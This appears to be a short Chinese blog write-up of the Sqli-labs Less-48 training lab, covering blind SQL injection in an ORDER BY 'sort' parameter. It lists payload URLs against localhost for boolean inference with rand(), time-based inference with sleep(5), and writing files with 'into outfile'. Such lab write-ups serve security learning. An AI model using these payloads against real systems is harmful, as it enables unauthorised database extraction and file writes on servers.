Sqli-labs Less-48 order by后的注入
本关与less-46的区别在于报错注入不能使用,不进行错误回显,因此其他的方法我们依旧是可以使用的。
1、可以利用sort=rand(true/false)进行判断。
http://127.0.0.1/sql/Less-48/?sort=rand(ascii(left(database(),1))=178)
http://127.0.0.1/sql/Less-48/?sort=rand(ascii(left(database(),1))=115)
2、and后的延时注入
http://127.0.0.1/sql/Less-48/?sort=1 and (If(ascii(substr(database(),1,1))=115,0,sleep(5)))
不贴效果图了。
3、本关我们依旧可以用into outfile进行。
http://127.0.0.1/sql/Less-48/?sort=1 into outfile "路径"
这里就不进行贴图演示了。
分类:
Sqli-labs
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】凌霞软件回馈社区,博客园 & 1Panel & Halo 联合会员上线
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】博客园社区专享云产品让利特惠,阿里云新客6.5折上折
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· DeepSeek 解答了困扰我五年的技术问题
· 为什么说在企业级应用开发中,后端往往是效率杀手?
· 用 C# 插值字符串处理器写一个 sscanf
· Java 中堆内存和栈内存上的数据分布和特点
· 开发中对象命名的一点思考
· PPT革命!DeepSeek+Kimi=N小时工作5分钟完成?
· What?废柴, 还在本地部署DeepSeek吗?Are you kidding?
· DeepSeek企业级部署实战指南:从服务器选型到Dify私有化落地
· 程序员转型AI:行业分析
· 重磅发布!DeepSeek 微调秘籍揭秘,一键解锁升级版全家桶,AI 玩家必备神器!